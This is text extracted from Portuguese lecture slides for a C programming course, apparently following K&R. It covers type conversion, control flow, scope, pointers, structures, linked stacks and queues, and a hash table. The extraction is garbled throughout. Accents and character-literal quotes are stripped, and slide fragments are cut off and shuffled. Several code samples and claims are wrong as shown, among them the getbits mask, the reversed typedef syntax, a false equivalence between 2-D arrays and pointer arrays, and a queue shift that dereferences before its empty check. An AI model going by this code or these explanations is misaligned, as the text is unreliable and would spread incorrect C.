/* lower: converte caracter para
min
usculas: s
o para ASCII */
int lower(int c)
{
if (c >= A && c <= Z)
return c + a - A;
else return c;
}
Converso de tipos
Tabela EBCDIC distncia de maisculas e minsculas
varia: no se pode usar return c + a - A;
Biblioteca <ctype.h> define famlia de funes
independentes do conjunto de caracteres
tolower substitui lower; isdigit(c) substitui
c >= 0 && c <= 9; etc
Converso de tipos
Converso caracteres para inteiros: C no especfica
se inteiro representado por caracter tem de ser positivo
ou se pode ser negativo (s que caracter visvel tem
que ser positivo)
Se todos caracteres so positivos, converso sempre
positiva
Se puder ser negativo, transformao em int pode ou
manter o sinal e acrescentar uns ou acrescentar zeros
esquerda
Problema: numas mquinas uma sequncia de bits
representa um nmero positivo e noutras um nmero
negativo
Converso de tipos
Este problema afecta valor de expresses em
programas (p. ex. em d = c >= 0 && c <=
9)?
No, porque caracteres utilizados em programas so
visveis (neste caso, 0 e 9) e, portanto, positivos
Logo, so convertidos para inteiros positivos e
problema no se verifica
Para maximizar portabilidade, especificar se variveis
char que vo receber nmero arbitrrio devem ser
signed ou unsigned
Converso de tipos
Quando operador binrio (+, *, etc) tem operandos de
tipos diferentes, tipos dos operandos convertidos
Quando no h argumentos unsigned:
Se algum dos operandos long double, converte
outro para long double
Caso contrrio, se um dos operandos double,
converte outro para double
Caso contrrio, se um dos operandos float,
converte outro para float
Caso contrrio, converte short para int e se
algum dos operandos for long, converte o outro
para long
Converso de tipos
Mudana ANSI-C: float no convertido para
double
Utilizao de float: tabelas grandes ou mquinas
pouco eficientes a tratar double
Converso de tipos
Regras de converso envolvendo unsigned mais
complicadas
Comparaes entre valores signed e unsigned
dependentes da mquina
Exemplo em mquina com int com 16 bits e long
com 32 bits:
-1L < 1U (inteiro 1U convertido em signed long)
-1L > 1UL (-1L convertido em unsigned long num
inteiro muito grande)
Converso de tipos
Converso de int para char: retirar caracteres de
ordem superior
Converso de float para int: truncagem
Converso de double para float: truncagem ou
arredondamento
Nas chamadas a funes, h converso de tipos
Se no houver prottipos, char convertido para int e
float convertido para double
Converso de tipos
Converso forada de tipos: utilizao de operador cast
(<nome tipo>) <expresso>
Converso de tipos
unsigned long int next = 1;
/* rand: retorna inteiro pseudo-aleat
orio */
int rand(void)
{
next = next * 1103515245 + 12345;
return (unsigned int)(next/65536) % 32768;
}
/* srand: modifica semente de rand() */
void srand(unsigned int seed)
{
next = seed;
}
IAED 2007/2008 p.113/569
complemento de 1
Ex: n = n & 0177; Pe a zero todos os bits que no
os 7 de ordem mais baixa
n = n | SET_ON; Pe a um os bits que esto a um
em SET_ON
ao p */
unsigned getbits(unsigned x, int p, int n)
{
return (x >> (p+1-n)) & (0 << n);
}
Atribuies e expresses
i = i + 1; pode ser reescrito como i += 1;
+= um operador atribuio
Atribuies e expresses
x *= y + 1
equivale
x = x * y + 1
ou
x = x * (y + 1)?
Atribuies e expresses
i = i + 1; pode ser reescrito como i += 1;
+= um operador atribuio
Atribuies e expresses
/* contabits: conta bits a um em x */
int contabits(unsigned x)
{
int b;
for (b = 0; x != 0; x >>= 1)
if (x & 01)
b++;
return b;
}
Expresses condicionais
Expresso condicional: expresso cujo valor depende
de uma outra expresso
<expr1> ? <expr2> : <expr3>
Se <expr1> for verdadeiro, valor da expresso
<expr2>
Se <expr1> for falso, valor da expresso <expr3>
Ex: z = (a > b) ?
if (a > b)
z = a;
else z = b;
a :
b; comparado com
Expresses condicionais
Expresso condicional utilizada onde expresso pode
ser utilizada
Gera cdigo mais curto:
printf("Tem %d objecto%s", n,
(n == 1)? "" : "s");
Se a ? b : c diferentes tipos, aplicam-se regras
de converso de tipos
Expresses condicionais
Se n int e f float, tipo de (n > 0) ?
f :
n?
ED
DE
* / %
ED
+ -
ED
<< >>
ED
ED
== !=
ED
&
ED
ED
ED
&&
ED
||
ED
DE
DE
ED
binrias.
Parte III
K&R Cap. 3
Controlo de Execuo
Instrues e Blocos
If
Else-If
Switch
Ciclos:
Instrues While e For
Instruo Do-While
Break e Continue
Goto e Labels
Instrues
Expresso terminada por ;
Caracter ; denota o fim de uma instruo
x = 0;
i++;
Instruo If
Permite expressar decises:
if (express
ao)
instruc
ao1
else
instruc
ao2
Ifs Encadeados
if (n >
if (a
z =
else
z =
0)
> b)
a;
b;
Ifs Encadeados
Ateno associao dos elses com ifs:
if (n >= 0)
for (i = 0; i < n; i++)
if (s[i] > 0) {
printf(...);
return i;
}
else
printf(Erro -- n e negativo);
Else-If
usual utilizar else-if para representar uma deciso
com opes mltiplas:
if (express
ao)
instruc
ao
else if (express
ao)
instruc
ao
else if (express
ao)
instruc
ao
else if (express
ao)
instruc
ao
else
instruc
ao
IAED 2007/2008 p.145/569
v[n-1] */
Instruo Switch
Representa deciso com opes mltiplas, que testa
se uma expresso assume um de um conjunto de
valores inteiros constantes:
switch (express
ao) {
case const-expr:
statements
case const-expr:
statements
default:
statements
}
default opcional
default executado se expresso diferente de qualquer
dos outros casos
(cont.)
Intruo While
while (express
ao)
instruc
ao
Instruo For
for (expr1; expr2; expr3)
instruc
ao
Equivalente a:
expr1;
while (expr2)
instruc
ao;
expr3;
}
/* saltar espac
os */
/* saltar sinal */
Instruo Do-While
do
instruc
ao
while (express
ao);
A instruo executada
Se expresso diferente de zero, instruo volta a ser
executada
etc.
/* registar sinal */
/* tornar n positivo */
i = 0;
do {
s[i++] = n % 10 + 0;
} while ((n /= 10) > 0);
if (sign < 0)
s[i++] = -;
s[i] = \0;
inverte(s);
/* obter pr
oximo digito */
/* apagar digito */
oes */
}
IAED 2007/2008 p.157/569
Remoo de Caracteres
/* remove: remove brancos, tabs e \ns no fim de string */
int remove(char s[])
{
int n;
for (n = strlen(s) - 1; n >= 0; n--)
if (s[n] != && s[n] != \t && s[n] != \n)
break;
s[n+1] = \0;
return n;
}
Leitura de Linhas
Pretende-se realizar uma funo que l as linhas,
escritas pelo utilizador, e coloca cada linha numa
cadeia de caracteres. Cada linha retornada aps ser
lida
Leitura de Linhas
#include <stdio.h>
/* getline: ler linha para s, retornar comprimento */
int getline(char s[], int lim)
{
int c, i;
i = 0;
while (--lim > 0 && (c = getchar()) != EOF && c != \n)
s[i++] = c;
if (c == \n)
s[i++] = c;
s[i] = \0;
return i;
}
1s */
size)
j; ) {
i <= j)
i <= j)
Parte IV
K&R Cap. 4
Funes
Programa C composto por uma funo main obrigatria
e por um conjunto de funes
Funes permitem a realizao de funcionalidades
bem definidas
factorial, combinacoes, lerlinha, ordenacao, etc.
Funes organizadas por ficheiros, normalmente com o
propsito de realizar um conjunto de funcionalidades
relacionado
bibliotecas de I/O
estruturas de dados dedicadas
etc.
Funes
tipo-retorno nome-func
ao(declarac
oes-argumentos)
{
declarac
oes e instruc
oes
}
Variveis Externas
Um programa C composto por conjunto de objectos
externos, que podem ser variveis ou funes
Variveis externas podem ser utilizadas por qualquer
funo
Variveis internas, definidas como argumentos ou
internamente a uma funo, apenas podem ser
utilizadas dentro da funo
Exemplo:
#define MAXVALUE 1000
int st_value[MAXVALUE];
int st_top;
void pushd(int value)
{
...
st_value[++st_top] = value;
...
}
Organizao de Programas C
Programas normalmente dividos em vrios ficheiros
Cada ficheiro permite implementar conjunto de
funcionalidades relacionadas
Exemplo: Pilha de Valores Inteiros ficheiro istack.c
/* implementac
ao de pilha de valores */
#define MAXVALUE 1000
int st_value[MAXVALUE];
int st_top;
/* guarda valor na pilha */
void push(int value) { ... }
/* devolve
ultimo valor guardado */
int pop() { ... }
/* verifica se est
a vazio */
int is_emtpy() { ... }
/* verifica se est
a cheio */
int is_full() { ... }
Regras de Scope
Scope de um nome: parte do programa onde nome
pode ser utilizado
Variveis automticas/parmetros de funes: scope
a funo onde so declarados
Variveis so conhecidas desde o ponto em que so
definidas at ao fim do ficheiro em causa
Variveis externas, utilizadas antes de serem definidas,
ou definidas noutro ficheiro, devero declaradas com a
palavra-chave extern
Regras de Scope
Uma varivel externa definida quando so indicadas
as propriedades da varivel, e quando so
especificados os seus requisitos em termos de
memria:
int a;
Ficheiros de Cabealho
So utilizados para incluirem todas as declaraes
partilhadas por mais de um ficheiro
Exemplo: Pilha de Valores Inteiros ficheiro istack.h
/* implementac
ao de pilha de valores */
extern int st_value[];
extern int st_top;
/* guarda valor na pilha */
extern void push(int value);
/* devolve
ultimo valor guardado */
extern int pop();
/* verifica se est
a vazio */
extern int is_emtpy();
/* verifica se est
a cheio */
extern int is_full();
Variveis Estticas
Limita scope de uma varivel entre ponto da definio e
fim do ficheiro onde definio ocorre
Para variveis automticas utilizao do qualificador
static permite manter o valor da varivel entre
chamadas funo
Variveis externas definidas como estticas permitem
limitar o seu scope ao ficheiro em que so definidas
#define MAXVALUE 1000
static int st_value[MAXVALUE];
static int st_top = -1;
Exemplo: istack.h
extern
extern
extern
extern
Exemplo: istack.c
#include <stdio.h>
#include <stdlib.h>
#define MAXVALUE 1000
static int st_value[MAXVALUE];
static int st_top = -1;
void push(int value)
{
if (st_top >= MAXVALUE-1) {
printf("Stack is full. Terminating...\n"); exit(1);
}
st_value[++st_top] = value;
}
int pop()
{
if (st_top == -1) {
printf("Stack is empty. Terminating...\n"); exit(1);
}
return st_value[st_top--];
}
int is_empty() { return st_top == -1; }
int is_full() { return st_top == MAXVALUE-1; }
Variveis de Registo
Indicao de que a varivel pretende ser utilizada
extensivamente
Declarao apenas pode ser utilizada em variveis
automticas ou nos parmetros formais de funes
Compete ao compilador utilizar (ou no) informao
sobre variveis de registo
Exemplo:
register int i;
for (i=0; i<valor_max; i++) {
...
}
...
Estrutura de Blocos
No C no possvel definir funes dentro de outras
funes
O C no uma linguagem baseada em blocos
Definio de variveis pode ser orientada para
estrutura de blocos
Declaraes de variveis podem estar localizadas aps
incio de uma instruo composta
Variveis automticas de um bloco so inicializadas
sempre que bloco executado
Variveis estticas so inicializadas da primeira vez
que o bloco da instruo executado
Inicializao
Variveis externas e estticas inicializadas a 0
Valor de incializao resultado de expresso
constante
Variveis automticas e de registo inicializadas com
valor indefinido
Expresso que define valor de incializao pode
envolver quaisquer valores j previamente definidos
Inicializao de Vectores
Vectores podem ser inicializados especificando lista de
valores de inicializao, entre chavetas e separados
por vrgulas
int vect[] = { 1, 3, 5, 7 };
Recurso
Funo recursiva permite ser chamada a partir dela
prpria
Recurso pode ser substituda por iterao
Iterao normalmente mais eficiente
Recurso por vezes mais intuitiva
v[n-1] */
(cont.)
IAED 2007/2008 p.189/569
O Preprocessador do C
Incluso de ficheiros:
#include xxx.h
Substituio de macros:
#define max(x,y) ((x) >= (y) ? (x) : (y))
Incluso condicional:
#if !defined HEADER
#define HEADER
...
#endif
QuickSort (Verso 2)
#define swap(v, i, j) { int temp = v[i]; v[i] = v[j]; v[j] = temp; }
static int partition(int v[], int l, int r)
{
int i = l-1, j = r;
int x = v[r];
for(;;) {
while(v[++i] < x) ;
while(v[--j] > x)
if (j == l) break;
if (i >= j) break;
swap(v, i, j);
}
swap(v, i, r);
return i;
}
(cont.)
IAED 2007/2008 p.192/569
QuickSort (Verso 2)
...
/* qsort: ordenar q[1], ..., q[n] por ordem crescente */
void qsort(int v[], int l, int r)
{
int i;
if (l >= r) return;
i = partition(v, l, r);
qsort(v, l, i-1);
qsort(v, i+1, r);
}
QuickSort (Verso 3)
/* qsort: ordenar q[1], ..., q[n] por ordem crescente */
void qsort(int v[], int left, int right)
{
int i, last;
void swap(int v[], int i, int j);
if (left >= right) /* terminar se n de elementos < 2 */
return;
swap(v, left, (left+right)/2); /* definir elemento para particionar */
last = left;
for (i=left+1; i<=right; i++)
if (v[i] < v[left])
swap(v, ++last, i);
swap(v, left, last); /* recolocar elemento utilizado na partic
ao */
qsort(v, left, last);
qsort(v, last+1, right);
}
Parte V
K&R Cap. 5
Ponteiros e tabelas
Endereos e ponteiros
Ponteiros e tabelas
Endereos e ponteiros
Ponteiros e argumentos de funes
Ponteiros e tabelas
Endereos e ponteiros
Ponteiros e argumentos de funes
Ponteiros e tabelas
Ponteiros e tabelas
Endereos e ponteiros
Ponteiros e argumentos de funes
Ponteiros e tabelas
Aritmtica de endereos
Ponteiros e tabelas
Endereos e ponteiros
Ponteiros e argumentos de funes
Ponteiros e tabelas
Aritmtica de endereos
Ponteiros para caracteres
Ponteiros e tabelas
Endereos e ponteiros
Ponteiros e argumentos de funes
Ponteiros e tabelas
Aritmtica de endereos
Ponteiros para caracteres
Tabelas de ponteiros e ponteiros para ponteiros
Ponteiros e tabelas
Endereos e ponteiros
Ponteiros e argumentos de funes
Ponteiros e tabelas
Aritmtica de endereos
Ponteiros para caracteres
Tabelas de ponteiros e ponteiros para ponteiros
Tabelas multi-dimensionais
Ponteiros e tabelas
Endereos e ponteiros
Ponteiros e argumentos de funes
Ponteiros e tabelas
Aritmtica de endereos
Ponteiros para caracteres
Tabelas de ponteiros e ponteiros para ponteiros
Tabelas multi-dimensionais
Inicializao de tabelas de ponteiros
Ponteiros e tabelas
Endereos e ponteiros
Ponteiros e argumentos de funes
Ponteiros e tabelas
Aritmtica de endereos
Ponteiros para caracteres
Tabelas de ponteiros e ponteiros para ponteiros
Tabelas multi-dimensionais
Inicializao de tabelas de ponteiros
Argumentos da linha de comandos
Ponteiros e tabelas
Endereos e ponteiros
Ponteiros e argumentos de funes
Ponteiros e tabelas
Aritmtica de endereos
Ponteiros para caracteres
Tabelas de ponteiros e ponteiros para ponteiros
Tabelas multi-dimensionais
Inicializao de tabelas de ponteiros
Argumentos da linha de comandos
Ponteiros para funes
Ponteiros e endereos
Um ponteiro representa um endereo de memria
O operador unrio & aplicado a x representa o
endereo de x
#include <stdio.h>
main ()
{
int y,x=3;
int *px = &x;
y = *px;
*px = 0;
printf("%d %d\n",x,y);
}
Utilizao de ponteiros
*px
incrementa o valor de x
(*px)++
Leitura de um inteiro
#include <ctype.h>
#include <stdio.h>
int getch(void);
void ungetch(int);
/* getint: get next integer from input into *pn */
int getint(int *pn) {
int c, sign;
while (isspace(c = getch())) ; /* skip white space */
if (!isdigit(c) && c != EOF && c != + && c != -) {
ungetch(c); /* it is not a number */
return 0;
}
sign = (c == -) ? -1 : 1;
if (c == + || c == -) c = getch();
for (*pn = 0; isdigit(c); c = getch())
*pn = 10 * *pn + (c - 0);
*pn *= sign;
if (c != EOF) ungetch(c);
return c;
IAED 2007/2008 p.204/569
}
Ponteiros e tabelas
Em C, existe uma relao entre ponteiros e tabelas
int
int
int
int
a[10];
*pa;
x;
i = 3;
pa = &a[0];
x = *pa;
x = *(pa+1);
x = *(pa+i);
/*
/*
/*
/*
Exemplo
/* strlen: return length of string s */
int strlen(char *s)
{
int n;
for (n = 0; *s != \0; s++)
n++;
return n;
}
*y;
y = NULL;
...
if (!y) { /* problem handling code */ ...
Ponteiros e tabelas
A declarao int *p; declara o mesmo que int p[];
A declarao int p[100]; declara uma tabela com 100
inteiros;
A declarao int *p no aloca qualquer espao;
A funo malloc(int size) aloca um espao de dimenso
size
As declaraes
char amessage[] = "Hello world";
char *pmessage = "Hello world";
So diferentes. Porqu ?
IAED 2007/2008 p.209/569
Strcpy: verso 3
/* strcpy: copy t to s; pointer version 2 */
void strcpy(char *s, char *t) {
while ((*s++ = *t++));
}
Tabelas de ponteiros
Exemplo: ordenao de cadeias de caracteres
Usa-se mesmo algoritmo que para ordenao de
inteiros
Evita-se copiar strings usando tabelas de ponteiros
Usa-se mesmo algoritmo que para ordenao de
inteiros
Evita-se copiar strings usando tabelas de ponteiros
int i;
/* Representa uma tabela de ponteiros para caracteres */
char *lineptr[MAXLINES];
readlines(lineptr,MAXLINES);
for (i=0; i< MAXLINES; i++)
printf("Linha %d
e %s\n",i,lineptr[i]);
IAED 2007/2008 p.213/569
Tabelas multi-dimensionais
A declarao int x[NROWS][NCOLS] declara uma matriz
equivalente a int *x[NCOLS]
Elemento na linha i e coluna j x[i][j]
int x[NROWS][NCOLS]
int *x[NCOLS]
o nome do programa
argv[i]
i-simo argumento
Programa "echo"
echo hello world
ao qsort gen
erica */
void qsort(char *v[],int left, int right, int (*comp)(char *,
...
char *);
if ((*comp)(v[i],v[j])) {
...
}
o qsort */
/* Uso da func
a
char *lineptr[MAXLINES];
/* Tabela de ponteiros */
int strcmp(char *, char *);
...
qsort(lineptr, 0, nlines-1, strcmp); /*Func
Multiplicao de Matrizes
#include <stdlib.h>
#define MATDIM 500
int matA[MATDIM][MATDIM], matB[MATDIM][MATDIM], matC[MATDIM][MATDIM];
void init()
{
int i, j;
for (i=0; i<MATDIM; ++i)
for (j=0; j<MATDIM; ++j) {
matA[i][j] = i+j; matB[i][j] = i-j;
}
}
void prod()
{
/* func
(cont.)
Multiplicao de Matrizes
int sum()
{
int i, j, sum = 0;
for (i=0; i<MATDIM; ++i)
for (j=0; j<MATDIM; ++j)
sum += matC[i][j];
return sum;
}
main()
{
init();
prod();
printf("Soma: %d\n", sum());
}
Verso 1
void prod()
{
int i, j, k;
for (i=0; i<MATDIM; ++i)
for (j=0; j<MATDIM; ++j) {
matC[i][j] = 0;
for (k=0; k<MATDIM; ++k)
matC[i][j] += matA[i][k] * matB[k][j];
}
}
Verso 2
void prod()
{
int i, j, k;
for (i=0; i<MATDIM; ++i) {
int *pA = &(matA[i][0]);
for (j=0; j<MATDIM; ++j) {
int *pC = &(matC[i][j]);
*pC = 0;
for (k=0; k<MATDIM; ++k)
*pC += *(pA+k) * matB[k][j];
}
}
}
Verso 4
void prod()
{
int i, j, k;
for (i=0; i<MATDIM; ++i) {
int *pA = &(matA[i][0]);
for (j=0; j<MATDIM; ++j) {
int *pC = &(matC[i][j]);
int *pB = &(matB[j][0]);
*pC = 0;
for (k=0; k<MATDIM; ++k)
*pC += *(pA+k) * *(pB+k);
}
}
}
Verso 5
void prod()
{
int i, j, k;
for (i=0; i<MATDIM; ++i) {
for (j=0; j<MATDIM; ++j) {
int *pC = &(matC[i][j]);
int *pA = &(matA[i][0]);
int *pB = &(matB[j][0]);
int *pF = pA + MATDIM;
*pC = 0;
for (; pA<pF; ) {
*pC += *(pA++) * *(pB++);
}
}
}
}
Tempos de Execuo
Verso 1: 1.74s
Verso 2: 1.96s
Verso 3: 0.55s
Verso 4: 0.55s
Verso 5: 0.54s
istack.h
extern
extern
extern
extern
void st_init();
void st_push(int value);
int st_pop();
int st_is_empty();
istack.c Verso 1
#include <stdlib.h>
#define MAXVALUE 5
static int *st_value;
static int st_top;
static int st_max;
static void increase_stack_size()
{
int i, *ptmp = st_value, *pa, *pb, *pf;
st_max = 2 * st_max;
st_value = (int*) malloc(st_max * sizeof(int));
for (pa=ptmp, pb=st_value, pf=st_value+st_top; pb<=pf; )
*(pb++) = *(pa++);
free(ptmp);
}
(cont.)
IAED 2007/2008 p.232/569
istack.c Verso 1
void st_init()
{
st_top = -1;
st_max = MAXVALUE;
st_value = (int*) malloc(st_max*sizeof(int));
}
void st_push(int value)
{
if (st_top >= st_max-1) increase_stack_size();
st_value[++st_top] = value;
}
int st_pop()
{
if (!st_is_empty()) return st_value[st_top--];
return -1;
}
int st_is_empty() {
return st_top == -1;
}
IAED 2007/2008 p.233/569
istack.c Verso 2
#include <stdlib.h>
#define MAXVALUE 5
static int *st_value;
static int *st_sup;
static int st_max;
static void increase_stack_size()
{
int i, *ptmp = st_value, *pa, *pb;
int diff = st_sup - st_value;
st_max = 2 * st_max;
st_value = (int*) malloc(st_max * sizeof(int));
for (pa=ptmp, pb=st_value; pa<st_sup; )
*(pb++) = *(pa++);
free(ptmp);
st_sup = st_value + diff;
}
IAED 2007/2008 p.234/569
istack.c Verso 2
void st_init()
{
st_max = MAXVALUE;
st_value = (int*) malloc(st_max*sizeof(int));
st_sup = st_value;
}
void st_push(int value)
{
if (st_sup == st_value+st_max)
increase_stack_size();
*(st_sup++) = value;
}
int st_pop()
{
if (!st_is_empty()) return *(--st_sup);
return -1;
}
int st_is_empty() {
return st_sup == st_value;
}
IAED 2007/2008 p.235/569
Parte VI
K&R Cap. 6
Estruturas
Introduo s Estruturas
Estruturas e Funes
Vectores de Estruturas
Apontadores para Estruturas
Estruturas Auto-Referenciadas
Typedef
Exemplos:
Tpicos: Unions e Bit-Fields
Introduo
As estruturas permitem definir estruturas de dados
sofisticadas, as quais possibilitam a agregao de
diferentes tipos de declaraes
Exemplo:
struct point {
int x;
int y;
}
=
=
=
=
1;
2;
10;
20;
IAED 2007/2008 p.239/569
Estruturas e Funes
Funes podem retornar estruturas:
struct point makepoint(int x, int y)
{
struct point temp;
temp.x = x;
temp.y = y;
return temp;
}
Estruturas e Funes
Passagem de estruturas como parmetros feita por
valor:
struct point addpoint(struct point p1, struct point p2)
{
p1.x += p2.x;
p1.y += p2.y;
return p1;
}
Vectores de Estruturas
Permitem representar conjuntos de dados agregados:
struct key {
char *word;
/* palavra-chave */
int count;
/* # ocorr
encias de palavra-chave */
} keytab[NKEYS]; /* Vector de estruturas */
ou,
struct key {
char *word;
/* palavra-chave */
int count;
/* # ocorr
encias de palavra-chave */
};
struct key keytab[NKEYS]; /* Vector de estruturas */
Vectores de Estruturas
Inicializao:
struct key {
char *word;
/* palavra-chave */
int count;
/* # ocorr
encias de palavra-chave */
} keytab[] = {
{ auto, 0 },
{ break, 0 },
{ case, 0 },
...
};
Estruturas Auto-Referenciadas
As estruturas auto-referenciadas permitem criar
estruturas de dados dinmicas, utilizando ponteiros:
listas (simplesmente e duplamente ligadas), rvores,
tabelas de disperso, etc.
Um exemplo:
Implementar pilha de valores inteiros utilizando
ponteiros e estruturas
istack.h
extern
extern
extern
extern
void init();
int is_empty();
void push(int value);
int pop();
istack.c
#include <stdio.h>
#include <stdlib.h>
struct iitem {
int value;
struct iitem *next;
};
static struct iitem *top = NULL;
static struct iitem *alloc_item()
{
return (struct iitem *) malloc(sizeof(struct iitem));
}
void init() { top = NULL; }
int is_empty() { return top == NULL; }
istack.c
void push(int value)
{
struct iitem *nitem = alloc_item();
nitem->value = value;
nitem->next = top;
top = nitem;
}
int pop()
{
if (!is_empty()) {
int rvalue = top->value;
struct iitem *ptmp = top;
top = top->next;
free(ptmp);
return rvalue;
}
return -1;
}
IAED 2007/2008 p.259/569
Estruturas Auto-Referenciadas
Um exemplo:
Implementar fila de valores inteiros utilizando ponteiros
e estruturas
iqueue.h
extern
extern
extern
extern
void init();
int is_empty();
void queue(int value);
int dequeue();
iqueue.c
#include <stdio.h>
#include <stdlib.h>
struct iitem {
int value;
struct iitem *next;
};
static struct iitem *putptr = NULL;
static struct iitem *getptr = NULL;
static struct iitem *alloc_item()
{
return (struct iitem *) malloc(sizeof(struct iitem));
}
void init() { putptr = NULL; getptr = NULL; }
int is_empty() { return getptr == NULL; }
iqueue.c
void queue(int value)
{
struct iitem *nitem = alloc_item();
nitem->value = value;
nitem->next = NULL;
if (putptr) putptr->next = nitem;
else getptr = nitem;
putptr = nitem;
}
int dequeue()
{
int rvalue;
struct iitem *ptmp;
if (is_empty()) return -1;
rvalue = getptr->value;
ptmp = getptr;
getptr = getptr->next;
if (!getptr) putptr = NULL;
free(ptmp);
return rvalue;
}
Estruturas Auto-Referenciadas
Um exemplo:
Implementar fila generalizada de valores inteiros
utilizando ponteiros e estruturas
Operaes: push(int), pop(),
unshift(int), shift()
iqueue2.h
extern
extern
extern
extern
extern
extern
int init();
int is_empty();
void push(int value);
int pop();
void unshift(int value);
int shift();
iqueue2.c
#include <stdio.h>
#include <stdlib.h>
struct iitem {
int value;
struct iitem *prev;
struct iitem *next;
};
static struct iitem *topptr = NULL;
static struct iitem *botptr = NULL;
static struct iitem *alloc_item()
{
return (struct iitem *) malloc(sizeof(struct iitem));
}
void init() { topptr = NULL; botptr = NULL; }
int is_empty() { return topptr == NULL; }
IAED 2007/2008 p.266/569
iqueue2.c
void push(int value)
{
struct iitem *nitem = alloc_item();
nitem->value = value;
if (topptr)
topptr->next = nitem;
else
botptr = nitem;
nitem->prev = topptr;
nitem->next = NULL;
topptr = nitem;
}
iqueue2.c
int pop()
{
int rvalue;
struct iitem *ptmp;
if (is_empty())
return -1;
rvalue = topptr->value;
ptmp = topptr;
topptr = topptr->prev;
if (topptr)
topptr->next = NULL;
else
botptr = NULL;
free(ptmp);
return rvalue;
}
iqueue2.c
void unshift(int value)
{
struct iitem *nitem = alloc_item();
nitem->value = value;
if (botptr)
botptr->prev = nitem;
else
topptr = nitem;
nitem->next = botptr;
nitem->prev = NULL;
botptr = nitem;
}
iqueue2.c
int shift()
{
int rvalue;
struct iitem *ptmp;
if (is_empty())
return -1;
rvalue = botptr->value;
ptmp = botptr;
botptr = botptr->next;
if (botptr)
botptr->prev = NULL;
else
topptr = NULL;
free(ptmp);
return rvalue;
}
Tabelas Dinmicas II
Um exemplo:
Implementar fila generalizada de valores inteiros
utilizando uma tabela dinmica
Operaes: push(int), pop(),
unshift(int), shift()
iqueue.c
#include <stdio.h>
#include <stdlib.h>
#define INITQUEUESIZE 5
static
static
static
static
static
int
int
int
int
int
*iqueue;
*queue_top;
queue_dim;
*topptr = NULL;
*botptr = NULL;
iqueue.c
static int is_full()
{
return
topptr == botptr-1 ||
(botptr == iqueue && topptr == queue_top-1);
}
void init()
{
iqueue = (int*) malloc(INITQUEUESIZE * sizeof(int));
topptr = iqueue;
botptr = iqueue;
queue_dim = INITQUEUESIZE;
queue_top = iqueue+queue_dim;
}
int is_empty() { return topptr == botptr; }
iqueue.c
static void increase_queue_size()
{
int *pa, *pb;
int *ptmp = iqueue, *ptmptop = queue_top;
int prev_dim = queue_dim;
queue_dim = 2 * queue_dim;
iqueue = (int*) malloc(queue_dim * sizeof(int));
queue_top = iqueue + queue_dim;
for (pa=botptr, pb=iqueue; pa != topptr; ) {
*(pb++) = *(pa++);
if (pa == ptmptop) pa = ptmp;
}
botptr = iqueue;
topptr = iqueue + prev_dim - 1;
free(ptmp);
}
IAED 2007/2008 p.274/569
iqueue.c
void push(int value)
{
if (is_full())
increase_queue_size();
*(topptr++) = value;
if (topptr == queue_top)
topptr = iqueue;
}
int pop()
{
int rvalue;
if (is_empty())
return -1;
if (topptr == iqueue)
topptr = queue_top;
rvalue = *(--topptr);
return rvalue;
}
IAED 2007/2008 p.275/569
iqueue.c
void unshift(int value)
{
if (is_full())
increase_queue_size();
if (botptr == iqueue)
botptr = queue_top;
*(--botptr) = value;
}
int shift()
{
int rvalue;
if (is_empty())
return -1;
rvalue = *(botptr++);
if (botptr == queue_top)
botptr = iqueue;
return rvalue;
}
IAED 2007/2008 p.276/569
Typedef
O typedef permite associar um nome com um tipo de
dados j existente
typedef Inteiro int;
main()
{
Inteiro myint;
...
}
iqueue2.c
#include <stdio.h>
#include <stdlib.h>
struct iitem {
int value;
struct iitem *prev;
struct iitem *next;
};
typedef struct iitem IntItem;
typedef IntItem* IntItemPtr;
static IntItemPtr topptr = NULL;
static IntItemPtr botptr = NULL;
static IntItemPtr alloc_item()
{
return (struct iitem *) malloc(sizeof(struct iitem));
}
void init() { topptr = NULL; botptr = NULL; }
int is_empty() { return topptr == NULL; }
IAED 2007/2008 p.278/569
iqueue2.c
void push(int value)
{
IntItemPtr nitem = alloc_item();
nitem->value = value;
nitem->prev = topptr;
nitem->next = NULL;
if (topptr)
topptr->next = nitem;
else
botptr = nitem;
topptr = nitem;
}
iqueue2.c
int pop()
{
int rvalue;
IntItemPtr ptmp;
if (is_empty())
return -1;
rvalue = topptr->value;
ptmp = topptr;
topptr = topptr->prev;
if (topptr)
topptr->next = NULL;
else
botptr = NULL;
free(ptmp);
return rvalue;
}
iqueue2.c
void unshift(int value)
{
IntItemPtr nitem = alloc_item();
nitem->value = value;
nitem->next = botptr;
nitem->prev = NULL;
if (botptr)
botptr->prev = nitem;
else
topptr = nitem;
botptr = nitem;
}
iqueue2.c
int shift()
{
int rvalue = botptr->value;
IntItemPtr ptmp = botptr;
if (is_empty())
return -1;
rvalue = botptr->value;
ptmp = botptr;
botptr = botptr->next;
if (botptr)
botptr->prev = NULL;
else
topptr = NULL;
free(ptmp);
return rvalue;
}
Tabelas de Disperso I
Permitem manter conjuntos de palavras
Operaes:
lookup(char*)
insert(char*)
delete(char*)
Exemplo simples, para ilustrar utilizaes de listas com
tabelas
symtab.h
extern
extern
extern
extern
void
char
char
char
init();
*lookup(char *word);
*insert(char *word);
*delete(char *word);
symtab.c
#define HBASE 31
static unsigned hashvalue(char *word)
{
unsigned hval = 0;
for(hval=0; *word;)
hval = *(word++) + HBASE * hval;
return hval % TABDIM;
}
void init()
{
WORDITEMPTR *px;
symtab = (WORDITEMPTR*) malloc(TABDIM*sizeof(WORDITEMPTR));
for(px=symtab; px<symtab+TABDIM; px++)
*px = NULL;
}
symtab.c
char *lookup(char *word)
{
int whval = hashvalue(word), comp;
WORDITEMPTR px = symtab[whval];
for (; px && (comp = strcmp(px->word, word)) < 0; px = px->next)
;
if (px && !comp)
return px->word;
return NULL;
}
symtab.c
char *insert(char *word)
{
int whval = hashvalue(word), comp;
char *nword = NULL;
WORDITEMPTR px = symtab[whval], py = px, pw;
for (; px && (comp = strcmp(px->word, word)) < 0;
py = px, px = px->next)
;
if (!px || comp) {
nword = (char*) malloc(strlen(word)+1);
strcpy(nword, word);
pw = (WORDITEMPTR) malloc(sizeof(WORDITEM));
pw->word = nword;
pw->next = px;
if (px == py) symtab[whval] = pw;
else py->next = pw;
}
return nword;
}
IAED 2007/2008 p.288/569
symtab.c
char *delete(char *word)
{
int whval = hashvalue(word), comp;
char *rword = NULL;
WORDITEMPTR px = symtab[whval], py = px;
for (; px && (comp = strcmp(px->word, word)) < 0;
py = px, px = px->next)
;
if (px && !comp) {
rword = px->word;
if (px == py)
symtab[whval] = px->next;
else
py->next = px->next;
free(px);
}
return rword;
}
IAED 2007/2008 p.289/569
Exemplos Adicionais
Lista de inteiros simplesmente ligada:
Insero (ordenada) de elemento
Remoo de elemento
#include <stdlib.h>
struct iitem {
int value;
